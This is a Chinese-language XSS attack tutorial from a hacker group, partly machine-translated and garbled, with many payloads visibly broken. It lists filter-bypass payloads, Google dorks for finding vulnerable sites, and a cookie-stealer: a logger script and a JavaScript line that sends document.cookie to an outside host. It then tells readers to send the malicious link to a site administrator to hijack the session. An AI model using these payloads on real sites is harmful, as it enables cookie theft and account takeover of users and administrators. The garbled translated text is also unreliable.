xss入门教程【中国骇客云在之后会有实战的xss攻略欢迎关注我们】

跨站点脚本XSS代表。它基本上是一个攻击,那是用来执行HTML和JavaScript的Web页面。这种攻击可以通过提交查询到文本框,甚至到URL 。结果回来阅读的文本为HTML ,所以它执行的脚本,而不是显示在纯文本。 XSS攻击,你可以从一个网络管理员窃取cookie ,甚至使用一些社会工程学来操纵别人下载你已经创建了一个病毒。如僵尸网络或大鼠,也许甚至是按键记录器的XSS攻击可以是非常危险的,但也可以是非常温和的。我的大部分攻击是温和的XSS攻击,即可以对网站很难使用。有很多方法可以使用​​XSS来你的优势。我将仅举几例。您可以使用一个警告框来宣传自己,或提醒网络管理员,你已经发现了一个安全漏洞,涉及XSS 。您还可以设置一个Cookie-Stealer/Logger 。什么,你可以用HTML ,可以用来对付这种攻击的网站。我将解释一些与XSS相关的最重要的方面。

什么是HTML和JavaScript ?

HTML
HTML是一种编程语言,有点像。一种编程语言和HTML之间的区别是不太远。它们是两种语言,用于创建属性和事件。 HTML是一种标记语言,它主要用来创建网站。 HTML是超文本标记语言。您可以使用HTML来创建窗体,按钮,和其他的东西,可以用来在网页中。我很怀疑你永远不会遇到不包含一个网站,甚至有少量的HTML 。

JAVASCRIPT
现在,首先,让我们弄清楚一件事。 Java和JavaScript之间存在着巨大的差异。 Java中,是一种语言,重新组合的C + + ,它可以在游戏中使用,应用程序。 JavaScript是那种类似HTML,但肯定在许多方面不同。 JavaScript没有使用比HTML是网页中的几乎一样多。使用JavaScript ,更多的应用程序以外的网页。 PDF文件一样。随着HTML , JavaScript可以是一个令人难以置信的有用的语言。他们都是相当简单的学习,是非常动态的。

XSS :我的第一次进攻。

现在,让我们开始进入真正的好东西。在本节中,我将解释如何使用XSS来你的优势。我们也将推出我们的第一个攻击XSS ,如果你知道的基本知识, XSS攻击,你可以跳过这一节,因为我怀疑你会学到什么东西,你不知道简要。

现在,我们的第一步,显然是要找到一个易受攻击的网站。寻找一个网站容易受到XSS容易SQLI比找到一个网站是一个容易得多。问题是,它可能需要一段时间来判断网站是否真的是脆弱的。 SQLI ,你可以只添加一点点’ 。但XSS ,你必须提交多个查询(有时) ,测试你的网站的XSS 。

最脆弱的网站将包含一个搜索,登录或注册。几乎任何地方,包含一个文本框,可以利用XSS 。然而,很多人忘记了这个事实,从来没有用它来充分发挥其潜力,是因为他们认为它是无用的。您可以利用XSS通过源,以及,你不能只是采取任何脚本,编辑完整的东西。但编辑“ 事件”的剧本,是绝对是个例外。我会解释的XSS这种方法以后,现在,我们需要完整的基础。

不管怎么说,我们的网站应该有一些文本框输入一些HTML进来,我将简单地使用一个搜索栏。

所以,让我们尝试把所有的时间最知名的,基本的查询。


那个小脚本,HTML。它将使弹出一个小的消息,说:“XSS”。您可以编辑的那部分,如果你喜欢。只要不修改任何其他部分的脚本。

它放入你的搜索栏,然后按Enter。现在,如果一个小弹出警告框,你已经成功地袭击了一个网站容易受到XSS!
如果没有框弹出,这是正常的,因为这意味着该网站已经采取了一些时间,把过滤器。
过滤器,当我们搜索的东西,那么它通过一个微型的过程,基本上检查。它会检查任何恶意(危险)的东西。
在这种情况下,它会寻找XSS。有时,这些过滤器是非常薄弱的,可以很容易通过,其他时间,他们可以是相当难以绕过。
现在有很多的方法来绕过XSS过滤器。首先,我们必须找出什么样的过滤器阻塞。很多的时候,它挡住了警报。
这种过滤器下面是一个例子:


这将阻止报警。那么,到底如何,我们获得通过呢?

嗯,幸好有一个完整的邮件进行加密的方法。

我们将使用一个小功能称为“”。

它的名字几乎可以解释这一切。加密我们的文字,转换成ASCII。

这种加密的一个例子,是这样的:

(88,83,83)
是的,它可以是一个有点混乱,但一点点的解释和测试,是很简单的。

下面是我们完整的查询将是什么样子:


你不需要任何这样的简单查询报价。因此,让我们在搜索栏中放回来,瞧!它的工作!我们得到了一个警告框,说“XSS”!如果你仍然没有得到任何警告框,尝试一些我喜欢使用这些查询:

">

">

‘>

‘>

<ScRIPt<aLeRT((88,83,83))

">

"><ScRIPt<aLeRT((88,83,83))

‘>

‘><ScRIPt<aLeRT((88,83,83))

"/>

"/>

‘/>

‘/>

">

">">">

">’>

";alert("XSS");"

";alert((88,83,83));"

‘;alert("XSS");’

‘;alert((88,83,83));’

";alert("XSS")

";alert((88,83,83))

‘;alert("XSS")

‘;alert((88,83,83))
是的,我只是写了所有这些,它需要较长的时间比它应该,但他们都以自己的方式工作,所以因为他们中的许多,你可以试试。我攻击一些这些查询一些相当巨大的网站。创建我自己的查询有时,你应该创建一些,他们也可以派上用场了很多。

XSS:先进的方法

现在,在本节中,我将分享一些方法来对网站的恶意使用XSS。现在,请记住所有的恶意攻击发送过来的系统,网站或服务器,是非法的,这些行动可以被起诉。所以如果你打算做一些恶意的网站始终使用保护。如果你想做出一点警告框弹出,你不应该需要一个代理/ VPN。

cookie窃取/记录

现在,饼干偷窃是最恶意的事情,我们可以用非持久性XSS。一个cookie窃取/记录仪,会记录用户访问某个文件的​​页面的饼干。做到这一点,最简单的方式将分为三个步骤。

首先,你应该设置一个站点。就个人而言,我觉得现在,一旦你创建了自己的网站,去到的文件管理器。创建一个新的文件。调用它“CookieLog.txt”。离开码坯。现在,创建另一个文件后,称为“CookieLogger.php”。在CookieLogger.php,我们需要添加一些代码,所以它发送的cookie,我们登录到我们的Cookie日志。将此代码,把它(只要确保文件名中有PHP的,否则它不会运行PHP代码(这是一个巨大的问题))。

 

var ownUrl = ‘http://';

// ==

// URLEncode and URLDecode functions

//

// Copyright Albion Research Ltd. 2002

// http://www.albionresearch.com/

//

// You may copy these functions providing that

// (a) you leave this copyright notice intact, and

// ( if you use these functions on a publicly accessible

// web site you include a credit somewhere on the web site

// with a link back to http://www.albionresearch.com/

//

// If you find or fix any bugs, please let us know at albionresearch.com

//

// SpecialThanks to Neelesh Thakur for being the first to

// report a bug in URLDecode() – now fixed 2003-02-19.

// And thanks to everyone else who has provided comments and suggestions.

// ==

function URLEncode(str)

{

// The Javascript escape and unescape functions do not correspond

// with what browsers actually do…

var SAFECHARS = "0123456789" + // Numeric

"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic

"abcdefghijklmnopqrstuvwxyz" +

"-_.!~*'()"; // RFC2396 Mark characters

var HEX = "0123456789ABCDEF";

var plaintext = str;

var encoded = "";

for (var i = 0; i < plaintext.length; i++ ) { var ch = plaintext.charAt(i); if (ch == " ") { encoded += "+"; // x-www-urlencoded, rather than %20 } else if (SAFECHARS.indexOf(ch) != -1) { encoded += ch; } else { var charCode = ch.charCodeAt(0); if (charCode > 255) {

alert( "Unicode Character ‘"

+ ch

+ "’ cannot be encoded using standard URL encoding./n" +

"(URL encoding only supports 8-bit characters.)/n" +

"A space (+) will be substituted." );

encoded += "+";

} else {

encoded += "%";

encoded += HEX.charAt((charCode >> 4) & 0xF);

encoded += HEX.charAt(charCode & 0xF);

}

}

} // for

return encoded;

};

cookie = URLEncode(document.cookie);

html = ‘';

document.write(html);

< ?php } ?>
现在,我们有我们的Cookie记录器脚本,我们可以给我们最好的朋友,网络管理员发送的cookie记录器。要做到这一点,我们也许应该微小的URL 。或者,如果你能弄清楚如何恶搞URL ,也能工作。

到指定网站去。

只是在URL中。但是且慢,我们需要添加到我们的XSS漏洞的脚本。这是脚本,将开始我们的Cookie记录。


所以只需添加脚本的URL之后,然后微小,并将其发送到我们的网站管理员,现在可以花一些时间帮助实际点击它。有时,管理员不会点击它,所以如果时间太长,你应该放弃,并找到另一种方式来利用它。

一旦你得到的cookie ,你可以使用“ Cookie管理器”火狐插件来操纵和编辑的饼干,让你可以劫持管理员会话。我觉得Cookie管理器非常有用的应用程序的XSS ,确保下载它。

XSS筛选器绕过技术

有时候,一个简单的XSS查询就不会做的伎俩。你的查询没有工作的原因,是因为该网站有一个WAF或滤波器组到位。过滤器将阻止尽可能尽可能多XSS和SQLI查询。在这种情况下,我们正在处理,防止XSS 。

绕过XSS过滤器的方法有很多,但我只会解释几句。

六角旁路
随着封锁的字符,如> , <, / ,它是相当困难的来执行XSS查询。不用担心,总有一个解决方案,你可以改变你的角色,成六角。一个十六进制的某些字符,基本上是字符,但在不同的格式。这些应该帮助你 > = %3c
< = %3c
/ = %2f

ASCII旁路
使用一个ASCII加密,我们可以使用的字符“被封锁颇有几分,这是其中一个最常见的XSS筛选器绕过所有的时间,你将需要加密的脚本,将看起来像这样:

不工作脚本

工作脚本


要加密你的小脚本的一部分,去这个网站:

http://www.wocares.com/noquote.php
我使用该网站,发现它非常有用。

绕过区分大小写

这种旁路作品很少,但它总是值得一试。然而,在地方设置一些过滤器,来检测某些字符串,过滤器的字符串被封锁是区分大小写的。

所以我们需要做的,是执行一个脚本,用不同尺寸的字符。

这旁路,将看起来像这样:


您还可以混合使用ASCII加密,如果你喜欢。这种旁路仅适用于真正愚蠢的过滤器,或真的旧。

一些XSS Dorks“

它通常是最好的创建/找到自己的dorks,但在本教程中,我会写一些了真正的快速分享:

?
1
2
3
4
5
6
7
8
9
10
11
inurl:search.php?

inurl:find.php?

inurl:search.html

inurl:find.html

inurl:search.aspx

inurl:find.aspx

接下来实战解析xss与sql的如何利用?更多请关注www.hackerschina.org官博!

XSS跨站脚本攻击的基本原理和SQL
注入攻击类似(个人观点),都是利用系统执行了未经过滤的危险代码,不同点在于XSS是一种基于网页脚本的注入方式,也就是将脚本攻击载荷写入网页执行以达到对网页客户端访问用户攻击的目的,属于客户端攻击。而SQL注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句从而操纵数据库,从而进一步探测、操纵数据库信息。属于服务器攻击?(菜鸟看法)。
1、最常见的最经典的XSS bug检测语句必然是
<script>alert(/XSS/)</script> ①
比如在存在XSS bug的留言板上写上留言①,当访问留言板网页时会弹出对话框:
这表明我们输入的语句被原样写入的网页并被浏览器执行了.那么我们就有机会执行我们的脚本攻击载荷:
<script src = http://www.labsecurity.org/xssbug.js></script>
在我们的网络空间上的xssbug.js代码可以是
Var img = document.createElement(“img”);
Img.src = “http://www.labsecurity.org/log?”+escape(document.cookie);
document.body.appendChild(img);
如果我们如上代码顺利执行,那么被攻击者在目标网站的登录cookie就写进了log.得到其cookie后,进行浏览器重新发包就可以以被攻击者身份登录目标网站.(被攻击者可以是普通用户也可以使网站超级管理员).
将窃取cookie的代码换成下载者地址就可以将下载者下载到存在下载者攻击漏洞的用户电脑上.
也可以将代码换成目标用户在网站上的某些操作的 数据包脚本.促使在不知情的情况下”自愿”进行某些操作.
对于Cookie窃取的防御可以使IP绑定等方案了.
既然存在XSS攻击那么程序员在开发时必然会进行某些危险关键字的过滤,以及限制用户的输入长度.这样即使存在xss漏洞.Hack也只能检测,却不能够写入攻击载荷(长度限制啊).
2、利用IMG图片标记属性跨站
当然也可以像上面所说的在留言板中输入
<img src=”javacript:alert(/XSS/)”></img>
这所说的不是这样是在用户上传图片时将图片路径修改为一段可执行的XSS测试脚本.
如果存在XSS漏洞那么此类脚本就会被执行.这类脚本要闭合双引号”>”等.
利用DIV标签属性跨站
<div
style=”width:0;height:0;background:url(javascript:document.body.onload =
function(){alert(/XSS/);};”></div>
利用已知事件攻击
移动特效字<marquee>文字</marquee>
<marquee onstart=”alert(/XSS/)”>文字</marquee>
B.<div style=”” onmouseenter=”alert(/XSS/)”>文字</div>
构造事件
<img style=”#” style=”TEST:e-xpression(alert(/XSS/));”>
常用的事件构造
<font style = “TEST:e-xpression(alert(/XSS/))”></font>
<li style = “TEST:e-xpression(alert(/XSS/))”></li>
<table style = “TEST:e-xpression(alert(/XSS/))”></table>
<a style = “TEST:e-xpression(alert(/XSS/))”></a>
<b style = “TEST:e-xpression(alert(/XSS/))”></b>
<ul style = “TEST:e-xpression(alert(/XSS/))”></ul>
<marque tyle = “TEST:e-xpression(alert(/XSS/))”></marquee>

理论上 只要没有进行xss防范 过滤 任何站都存在xss 就看你要插的漂亮 插的灵活。这种方式只适用于IE 系列,并且在IE 7 及以上版本的浏览器会有安全提示。大把储存性xss等你挖。
---------------------------------------------------------------------------------

我们在域名后缀加上ziliao.asp或者tianxieziliao.asp都行



到了这一步,看了那么多的文章,视频,剩下的你们会X了吧?特地写给新手看的,就继续写下去吧。
这里面有很多处都是可以X的,只要没过滤都行,我们就在地址那里写吧。


漫长的等待

我们登陆后台


红色的框就是我们XSS代码